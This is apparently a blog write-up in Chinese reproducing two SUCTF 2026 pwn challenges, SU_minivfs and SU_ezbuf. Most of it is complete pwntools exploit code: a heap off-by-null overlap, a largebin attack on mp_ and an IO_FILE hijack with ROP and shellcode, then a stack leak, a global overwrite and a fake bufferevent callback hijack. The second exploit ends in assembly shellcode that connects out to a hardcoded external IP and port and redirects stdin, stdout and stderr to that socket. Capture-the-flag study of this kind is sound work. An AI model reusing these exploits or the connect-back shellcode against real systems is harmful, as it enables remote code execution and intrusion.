SUCTF-2026-复现记录
SU_minivfs
write函数里面存在混淆,把混淆nop掉之后就发现存在一个off_by_null的溢出问题,后面就是常规的攻击mp_结构体打IO就好

from pwn import *
from pwn_std import *
from SomeofHouse import HouseOfSome
from itertools import product
ip="localhost"
port=8080
p=getProcess(ip,port,'./pwn')
context(os='linux', arch='amd64', log_level='debug')
elf=ELF("./pwn")
libc=ELF("/home/alpha/glibc-all-in-one/libs/2.41-6ubuntu1.2_amd64/libc.so.6")
cmd = """
b printf
b *$rebase(0x0000000000001C35)
"""
def __hash_algo(path: bytes):
v2 = 0x811c9dc5
for c in path:
v2 = (v2 ^ c)
v2 = (v2 * 0x1000193) & 0xFFFFFFFF
t1 = ((v2 >> 16) ^ v2) & 0xFFFFFFFF
t2 = (t1 * 0x7feb352d) & 0xFFFFFFFF
t3 = ((t2 >> 15) ^ t2) & 0xFFFFFFFF
v4 = (t3 * 0x846ca68b) & 0xFFFFFFFF
slot = ((v4 >> 16) ^ v4) & 0xFFFFFFFF
idx = slot & 0xF
auth = str(slot ^ 0xA5A5A5A5).encode()
return idx, auth
# 预计算 0~15 这 16 个 index 所对应的合法 path 和哈希认证码
idx_map = {}
counter = 0
while len(idx_map) < 16:
test_path = f"file{counter}".encode()
idx, auth = __hash_algo(test_path)
if idx not in idx_map:
idx_map[idx] = (test_path, auth)
counter += 1
def add(idx: int, size: int):
path, auth = idx_map[idx]
p.sendlineafter(b"vfs> ", b"touch " + path + b" " + str(size).encode() + b" " + auth)
def dele(idx: int):
path, auth = idx_map[idx]
p.sendlineafter(b"vfs> ", b"rm " + path + b" " + auth)
def show(idx: int):
path, auth = idx_map[idx]
p.sendlineafter(b"vfs> ", b"cat " + path + b" " + auth)
def edit(idx: int, data: bytes):
path, auth = idx_map[idx]
p.sendlineafter(b"vfs> ", b"write " + path + b" " + str(len(data)).encode() + b" " + auth)
p.sendafter(b"bytes) > ", data)
def ls():
p.sendlineafter(b"vfs> ", b"ls")
add(0,0x420)
add(1,0x420)
dele(0)
add(0,0x430)
dele(0)
add(0,0x420)
show(0)
lb=uu64(rc(6))-(0x7fbe94003f10-0x7fbe93e00000)-(0x70b717c0d000-0x70b717c00000)
rc(0x10-6)
hb=uu64(rc(6))-(0x60b846b21290-0x60b846b21000)
print("libc_base=",hex(lb))
print("heap_base=",hex(hb))
##准备制造堆块重叠来攻击mp_结构体
'''
pwndbg> p mp_
$1 = {
trim_threshold = 131072,
top_pad = 131072,
mmap_threshold = 131072,
arena_test = 8,
arena_max = 0,
thp_pagesize = 0,
hp_pagesize = 0,
hp_flags = 0,
n_mmaps = 0,
n_mmaps_max = 65536,
max_n_mmaps = 0,
no_dyn_threshold = 0,
mmapped_mem = 0,
max_mmapped_mem = 0,
sbrk_base = 0x61b89d5cc000 "",
tcache_bins = 64,
tcache_max_bytes = 1032,
tcache_count = 7,
tcache_unsorted_limit = 0
}
pwndbg> p &mp_
$2 = (struct malloc_par *) 0x7dd075c10180 <mp_>
pwndbg> libc
libc : 0x7dd075a00000
'''
dele(0)
dele(1)
#制造堆叠
add(0,0x448)
add(1,0x418)
add(2,0x4f0)
add(3,0x430)
add(4,0x418)
pl1=p64(0)+p64(0x861)+p64(hb+0x2a0)*2
edit(0,pl1)
pl2=p64(0)
pl2=pl2.ljust(0x410,b'\0')
pl2+=p64(0x860)
edit(1,pl2)
dele(2)
#打largebin_attack
add(5,0x438)#堆块重叠
add(6,0x418)#堆块重叠
add(2,0x4f0)
dele(0)
add(7,0x4f0)
dele(7)
pl3=p64(hb+0x290)+p64(lb+0x210180+0x68-0x20)+p64(0)*2
edit(5,pl3)
dele(3)
add(7,0x4f0)
print('mp_',hex(lb+0x210180))
dele(4)
dele(1)
pl4=p64(((hb+0x6f0)>>12)^(lb+libc.sym["_IO_2_1_stdout_"]))
edit(6,pl4)
rdi=lb+0x0000000000119e9c
binsh=lb+next(libc.search('/bin/sh'))
system=lb+libc.sym['system']
rsi=lb+0x000000000011b07d
rax=lb+0x00000000000e4e97
rdx=lb+0x000000000009e68d #pop rdx ; leave ; ret
rbp=lb+0x0000000000028a20
ropchain=p64(rdi)+p64(hb)+p64(rsi)+p64(0x1000)+p64(rbp)+p64(hb+0x2f0-8)+p64(rdx)+p64(7)+p64(lb+libc.sym["mprotect"])+p64(hb+0x300)
shellcode=shellcraft.open('./flag')+shellcraft.read('rax',hb,0x100)+shellcraft.write(1,hb,0x100)
ropchain+=asm(shellcode)
edit(5,ropchain)
##后续直接打IO就好
add(8,0x418)
add(9,0x418)
libc_base=lb
heap_addr=hb+0x2b0-8
stdout_addr=lb+libc.sym["_IO_2_1_stdout_"]
pop_rbp=lb+0x0000000000028a20
leave_ret=lb+0x0000000000029b3f
magic=lb+0x000000000018202e #mov rdx, qword ptr [rax + 0x38] ; mov rdi, rax ; call qword ptr [rdx + 0x20]
movrsp_rdx=lb+0x0000000000062d7f
file1 = IO_FILE_plus_struct()
file1.flags = 0
file1._IO_read_ptr = pop_rbp
file1._IO_read_end = heap_addr#这个地址控制好为我们的rop链
file1._IO_read_base = leave_ret
file1._IO_write_base = 0
file1._IO_write_ptr = movrsp_rdx
file1._IO_write_end = 0
file1._IO_buf_base = stdout_addr+8
file1._lock = heap_addr - 0xc30
file1.chain = magic
# call addr 经过这个leave ret 回到
'''
file1._IO_read_ptr = pop_rbp
file1._IO_read_end = heap_addr + 0x470 - 8
file1._IO_read_base = leave_ret
'''
# 经过这个回到heap_addr + 0x470 , 进行payload
file1._codecvt = stdout_addr
file1._wide_data = stdout_addr - 0x48
file1.vtable = libc.sym['_IO_wfile_jumps'] + libc_base - 0x20
payload=bytes(file1)
print('magic=',hex(magic))
edit(9,payload)
ita()
SU_ezbuf
没学过这个事件处理函数,正好乘此机会来学习一下,程序的大体逻辑是接收网络数据,打包加上 IP 和 Hostname 然后回传
main函数
__int64 __fastcall main(__int64 a1, char **a2, char **a3)
{
int fd; // 用于保存创建出来的 UDP socket 文件描述符
__int64 v5; // 用于保存 event_new 返回的事件对象指针
struct sockaddr addr; // UDP 绑定地址;反编译器没有还原成更准确的 sockaddr_in
_QWORD v7[4]; // 这里被当作一块原始内存来构造 TCP 监听地址
v7[3] = __readfsqword(0x28u);
// 初始化沙箱环境
sandbox();
// 创建 libevent 的事件循环基座(event base)
// 注意:标准 libevent 的 event_base_new 一般不带参数,
// 这里大概率是反编译器把函数原型识别错了
g_event_base = event_base_new(a1, (__int64)a2);
// 将全局 UDP 上下文结构清零
// 大小为 0x70 字节,后续会作为参数传给 udp_read_cb
memset(&g_udp_ctx, 0, 0x70u);
// 创建一个 IPv4 UDP socket
// socket(AF_INET, SOCK_DGRAM, 0)
fd = socket(2, 2, 0);
// 构造 UDP 绑定地址
//
// 这几句本质上是在手工填写 sockaddr_in 的内存布局:
// sin_family = AF_INET
// sin_port = htons(8889)
// sin_addr = INADDR_ANY
//
*(_QWORD *)&addr.sa_family = 2; // 地址族 = AF_INET
*(_QWORD *)&addr.sa_data[6] = 0; // 后面的字段清零
*(_WORD *)addr.sa_data = htons(0x22B9u); // 端口号 = 0x22B9 = 8889(网络字节序)
// 将 UDP socket 绑定到本地地址
// 长度 0x10 = 16,正好对应 IPv4 的 sockaddr_in 结构大小
// 实际效果相当于绑定到 0.0.0.0:8889
bind(fd, &addr, 0x10u);
// 初始化一个全局标志位
// 从名字看,含义可能是“当前 UDP 上下文不是 TCP”
// 具体用途需要结合其他代码进一步分析
g_udp_is_tcp = 0;
// 把 UDP socket 保存到全局变量,方便后续其他函数访问
g_udp_fd = fd;
// 为 UDP socket 创建一个 libevent 事件对象
//
// 参数含义大致为:
// g_event_base : 事件循环基座
// fd : 监听的 socket
// 18 : 事件类型,18 = 0x12 = EV_READ | EV_PERSIST
// 表示“可读事件 + 持久事件”
// udp_read_cb : 当 socket 可读时调用的回调函数
// &g_udp_ctx : 传递给回调函数的用户上下文
//
// 也就是说,只要 UDP socket 上收到数据,就会反复调用 udp_read_cb
v5 = event_new(
g_event_base,
fd,
18,
(__int64 (__fastcall *)())udp_read_cb,
&g_udp_ctx);
// 将刚刚创建的 UDP 事件加入事件循环
// 第二个参数为 0,表示不设置超时时间
event_add(v5, 0);
// 构造 TCP 监听地址
//
// 这里 v7 被当作 sockaddr_in 的原始内存使用:
// sin_family = AF_INET
// sin_port = htons(8888)
// sin_addr = INADDR_ANY
v7[0] = 2; // AF_INET
v7[1] = 0; // 其余地址字段清零,相当于 INADDR_ANY
WORD1(v7[0]) = htons(0x22B8u); // 端口号 = 0x22B8 = 8888(网络字节序)
// 创建并绑定一个 TCP 监听器
//
// 参数大致含义:
// g_event_base : 事件循环基座
// tcp_listener_cb : 当有新的 TCP 连接到来时调用的回调函数
// 0 : 用户自定义参数,传给回调,这里为 NULL
// 10 : listener 的 flag,通常表示一些行为选项
// 例如地址复用、释放时自动关闭 fd 等
// 0xFFFFFFFFLL : backlog = -1,通常表示使用默认 backlog
// v7 : 绑定地址
// 16 : 地址结构长度(sockaddr_in 大小)
//
// 实际效果:监听 0.0.0.0:8888,当有新连接时调用 tcp_listener_cb
evconnlistener_new_bind(
g_event_base,
(__int64 (__fastcall *)())tcp_listener_cb,
0,
10,
0xFFFFFFFFLL,
v7,
16);
// 启动 libevent 的事件分发循环
//
// 从这里开始,程序进入事件驱动模式,不再顺序往下执行主要业务逻辑,
// 而是持续等待并分发以下事件:
// 1. UDP socket 收到数据 -> 调用 udp_read_cb
// 2. TCP 监听 socket 收到新连接 -> 调用 tcp_listener_cb
event_base_dispatch(g_event_base);
// 正常情况下,只有事件循环退出后才会执行到这里
return 0;
}process_msg函数
unsigned __int64 __fastcall process_msg(__int64 dest, _BYTE *src, int n, const struct sockaddr *addr)
{
__int64 v4; // 临时变量:用于搬运 hostname 溢出区域中的 8 字节数据
__int64 v5; // 同上
__int64 v6; // 同上
__int64 v7; // 同上
_QWORD *s; // 指向新分配的 0x50(80) 字节堆缓冲区,作为待发送的数据包
__int64 output; // bufferevent 的输出缓冲区指针
char name[8]; // 本地 hostname 缓冲区(⚠️ 只有 8 字节)
__int64 v14; // 紧邻 name 的栈变量,会被 gethostname 覆盖
__int64 v15; // 同上
__int64 v16; // 同上
__int64 v17; // 同上
__int64 v18; // 同上
__int64 v19; // 同上
__int64 v20; // 同上
unsigned __int64 v21;
v21 = __readfsqword(0x28u);
// 只有接收到的数据长度大于 0 才继续处理
if ( n > 0 )
{
// 在收到的数据末尾补一个 '\0'
// 这样就能把 src 当作 C 字符串使用
//
// 这里的意图很明显:后面要把 src 传给 inet_pton,
// 而 inet_pton 需要的是字符串形式的 IP 地址,例如 "127.0.0.1"
src[n] = 0;
// 在堆上申请 0x50 = 80 字节缓冲区
// 这块内存后面会被组织成一个响应数据块
s = malloc(0x50u);
// 只有申请成功才继续
if ( s )
{
// 将这 80 字节清零,避免未初始化数据影响后续逻辑
memset(s, 0, 0x50u);
// 尝试把用户输入 src 解释为 IPv4 地址字符串
//
// 参数含义:
// 2 -> AF_INET
// src -> 输入字符串,例如 "1.2.3.4" 会被解析为01020304(大端)
// (char *)s+4-> 解析成功后,把 4 字节二进制 IP 写到 s+4 的位置
//
// 如果解析成功,返回非 0;失败返回 0
if ( inet_pton(2, src, (char *)s + 4) )
{
// 将响应块开头的 2 字节设置为 AF_INET
//
// 也就是说,s 这块数据的前面几个字节看起来像:
// offset 0x00: sa_family / sin_family = AF_INET
// offset 0x04: IPv4 地址(由 inet_pton 写入)
//
*(_WORD *)s = 2;
// 获取本机主机名
//
// 这里有明显漏洞:
// name 只有 8 字节
// 但 gethostname 允许最多写 0x40 = 64 字节
//
// 如果 hostname 长于 7 字节,就会发生栈溢出,
// 覆盖 name 后面的 v14 ~ v20,甚至可能继续覆盖 canary。
gethostname(name, 0x40u);
// 下面这一大段赋值,本质上是在把从 name 开始的连续 64 字节
// 拷贝到 s[2] ~ s[9] 这 8 个 QWORD 位置上。
//
// 因为:
// s[2] ~ s[9] 共 8 * 8 = 64 字节
// 刚好对应 gethostname(name, 0x40) 想写入的 64 字节区域
//
// 换句话说,这里相当于做了:
// memcpy((char *)s + 0x10, name, 0x40);
//
// 只是由于编译器优化 / 反编译效果,变成了手工逐块搬运。
v4 = v14;
s[2] = *(_QWORD *)name; // 拷贝 [name + 0x00, name + 0x07]
s[3] = v4; // 拷贝 [name + 0x08, name + 0x0F]
v5 = v16;
s[4] = v15; // 拷贝 [name + 0x10, name + 0x17]
s[5] = v5; // 拷贝 [name + 0x18, name + 0x1F]
v6 = v18;
s[6] = v17; // 拷贝 [name + 0x20, name + 0x27]
s[7] = v6; // 拷贝 [name + 0x28, name + 0x2F]
v7 = v20;
s[8] = v19; // 拷贝 [name + 0x30, name + 0x37]
s[9] = v7; // 拷贝 [name + 0x38, name + 0x3F]
// 将用户输入 src 原样复制到 dest 指向的位置
//
// 这里的 dest 在上游实际上来源于 &g_udp_ctx,
// 也就是说,这句本质上相当于:
// memcpy(&g_udp_ctx, src, n);
// 如果 n > 0x70,就会发生越界写,越界覆盖到g_udp_is_tcp等变量上面
// 覆盖 g_udp_ctx 后面的全局/静态内存。
memcpy((void *)dest, src, n);
// 检查上下文中的状态:
// dest + 32 处的 4 字节字段是否为 1
// dest + 40 处的 8 字节字段是否非空
//
// 从语义上看:
// *(int *)(dest + 32) 很可能是 “当前是否走 TCP 模式”
// *(void **)(dest + 40) 很可能是 bufferevent *
if ( *(_DWORD *)(dest + 32) == 1 && *(_QWORD *)(dest + 40) )
{
// 如果处于 TCP 模式,则取出 bufferevent 的输出缓冲区
output = bufferevent_get_output(*(_QWORD *)(dest + 40));
// 将 s 这块 80 字节数据“按引用”加入输出缓冲区
//
// 注意:这里不是拷贝数据,而是引用现有堆块 s
// 所以必须提供一个释放回调 sub_1381,
// 以便等数据真正发送完之后再释放 s
evbuffer_add_reference(output, s, 80, (__int64 (__fastcall *)())sub_1381, 0);
}
else
{
// 如果不处于 TCP 模式,则通过 UDP 发回去
//
// 参数解释:
// *(int *)(dest + 48) -> 发送用的 UDP socket fd
// s -> 待发送的数据
// 0x50 -> 发送 80 字节
// addr -> 原始发送方地址
// 0x10 -> sockaddr_in 长度 16 字节
//
// 也就是说:
// 把构造好的响应包通过 UDP 回发给请求者
sendto(*(_DWORD *)(dest + 48), s, 0x50u, 0, addr, 0x10u);
// UDP 分支里 sendto 返回后,这块堆内存就不再需要,立即释放
free(s);
}
}
else
{
// 如果 src 不是合法的 IPv4 字符串,
// inet_pton 解析失败,则释放申请的堆块
free(s);
}
}
}
return v21 - __readfsqword(0x28u);
}漏洞点:
发送数据的时候存在栈上变量的残留的泄露问题,利用这里的信息泄露和对全局变量的覆盖就好,但是有个点很遗憾,我的电脑上面的libc 相对 libevent的偏移不是固定偏移,所以这里只能去使用SUCTF的docker 来完成这一道题目,这里我是发送 TCP 包来实现覆盖的同时触发 evbuffer_add_reference,触发伪造的 bufferevent 中的回调函数劫持控制流

from pwn import *
from pwn_std import *
from SomeofHouse import HouseOfSome
import struct, socket
ip="localhost"
port_tcp = 8888
port_udp = 8889
docker_restart("su_evbuffer_run", wait=0.5)
io_tcp=remote(ip,port_tcp)
io_udp=remote(ip,port_udp,typ='udp')
context(os='linux', arch='amd64', log_level='debug')
elf=ELF("./pwn")
libc=ELF("/home/alpha/glibc-all-in-one/libs/2.35-0ubuntu3.13_amd64/libc.so.6")
reverse_ip = "8.137.79.57"
reverse_port = 7777
sockaddr_val = hex(u64(struct.pack('<H', 2) + struct.pack('>H', reverse_port) + socket.inet_aton(reverse_ip)))
cmd = """
set debug-file-directory /home/alpha/glibc-all-in-one/libs/2.35-0ubuntu9.9_amd64/.debug/
dir /home/alpha/CTF/glibc-source/glibc-2.35/elf
dir /home/alpha/CTF/glibc-source/glibc-2.35/malloc
dir /home/alpha/CTF/PWN/practise/XCTF/SUCTF/2026/SU_evbuffer/libevent-release-2.1.7-rc
b *$rebase(0x00000000000014D6)
"""
io_tcp.send(b"1.1.1.1")
leak_data = io_tcp.recv(0x50)
hb = u64(leak_data[0x28:0x30])
print("heap: " + hex(hb))
lb = u64(leak_data[0x48:0x50])-0x25cb1a
print("libc_base: " + hex(lb))
libevent=u64(leak_data[0x48:0x50])-0x13b1a
print("libevent_base: " + hex(libevent))
# 或者在打容器题目时:
io_udp.send(b"1.1.1.1")
leak_data = io_udp.recv(0x50)
pie=u64(leak_data[0x48:0x50])-(0x5eefa4670619-0x5eefa466f000)
print("pie_base=",hex(pie))
canary=u64(leak_data[0x28:0x30])
print("canary=",hex(canary))
fake_bufferevent_addr=pie+0x40c0
next_ptr=0
rop_chain=lb+0x000000000005a120
fake_bufferevent=p64(0)*2+p64(fake_bufferevent_addr)
fake_bufferevent+=p64(pie+0x41e0-0x50)#v8 rdx
fake_bufferevent+=p64(2)#v6
fake_bufferevent+=p64(0)
fake_bufferevent+=p64(0)
fake_bufferevent=fake_bufferevent.ljust(0x78,b'\x00')
fake_bufferevent+=p64(fake_bufferevent_addr+0x80)
fake_bufferevent+=p64(next_ptr)
fake_bufferevent+=p64(0)
fake_bufferevent+=p64(rop_chain)
fake_bufferevent+=p64(0)
fake_bufferevent+=p64(0x40001)
fake_bufferevent=fake_bufferevent.ljust(0x118,b'\x00')
fake_bufferevent+=p64(fake_bufferevent_addr)
# fake_bufferevent+=p64(0)*2
# fake_bufferevent+=p64(fake_bufferevent_addr)
rdi=lb+0x000000000002a3e5
rsi=lb+0x000000000002be51
rdx_r12=lb+0x000000000011f367
rop_chain=p64(rdi)+p64(pie+0x4000)+p64(rsi)+p64(0x1000)+p64(rdx_r12)+p64(7)+p64(0)+p64(lb+libc.sym["mprotect"])
rop_chain+=p64(pie+0x4228)
shellcode=asm(f'''
;// socket(AF_INET, SOCK_STREAM, IPPROTO_IP)
xor esi, esi
mul rsi
inc esi
mov edi, esi
inc edi
mov al, 41 ;// SYS_socket
syscall
;// connect(soc, (struct sockaddr *)&serv_addr, sizeof(struct sockaddr_in))
mov edi, eax
mov rbx, {sockaddr_val} ;// IP={reverse_ip} Port={reverse_port}
push rbx
mov rsi, rsp
mov dl, 16
mov al, 42 ;// SYS_connect
syscall
;// dup2(soc, 0)
xor esi, esi
mov al, 33 ;// SYS_dup2
syscall
;// dup2(soc, 1)
inc esi
mov al, 33 ;// SYS_dup2
syscall
;// dup2(soc, 2)
inc esi
mov al, 33 ;// SYS_dup2
syscall
mov eax, 0x67616c66 ;// flag
push rax
mov rdi, rsp
xor eax, eax
mov esi, eax
mov al, 2
syscall ;// open
push rax
mov rsi, rsp
xor eax, eax
mov edx, eax
inc eax
mov edi, eax
mov dl, 8
syscall ;// write open() return value
pop rax
test rax, rax
js over
mov edi, eax
mov rsi, rsp
mov edx, 0x01010201
sub edx, 0x01010101
xor eax, eax
syscall ;// read
mov edx, eax
mov rsi, rsp
xor eax, eax
inc eax
mov edi, eax
syscall ;// write
over:
xor edi, edi
mov eax, 0x010101e8
sub eax, 0x01010101
syscall ;// exit
''')
rop_chain+=shellcode
payload=b'1.1.1.1'
payload=payload.ljust(0x20,b'\x00')
payload+=p64(1)
payload+=p64(fake_bufferevent_addr)
payload+=p64(0)
payload+=p64(hb-0x8b0)
payload+=p64(0)
payload+=fake_bufferevent
payload+=rop_chain
print('magic=',hex(lb+0x000000000005a120))
print('call_r8=',hex(libevent+0x000000000000EFF2))
print('v8 = *(_QWORD *)(a1 + 24);=',hex(libevent+0x000000000000EFBE))
print('if ( (v10 & 0x40000) != 0 )=',hex(libevent+0x000000000000F01B))
print('v11 = (void (__fastcall *)(__int64, _QWORD, __int64, _QWORD))v9[2];=',hex(libevent+0x000000000000F013))
print('v10 = *((_DWORD *)v9 + 8);',hex(libevent+0x000000000000F000))
docker_attach("su_evbuffer_run", "pwn", cmd)
io_tcp.send(payload)
io_udp.interactive()
SUCTF-2026-复现记录
https://a1b2rt.cn//archives/suctf-2026-fu-xian-ji-lu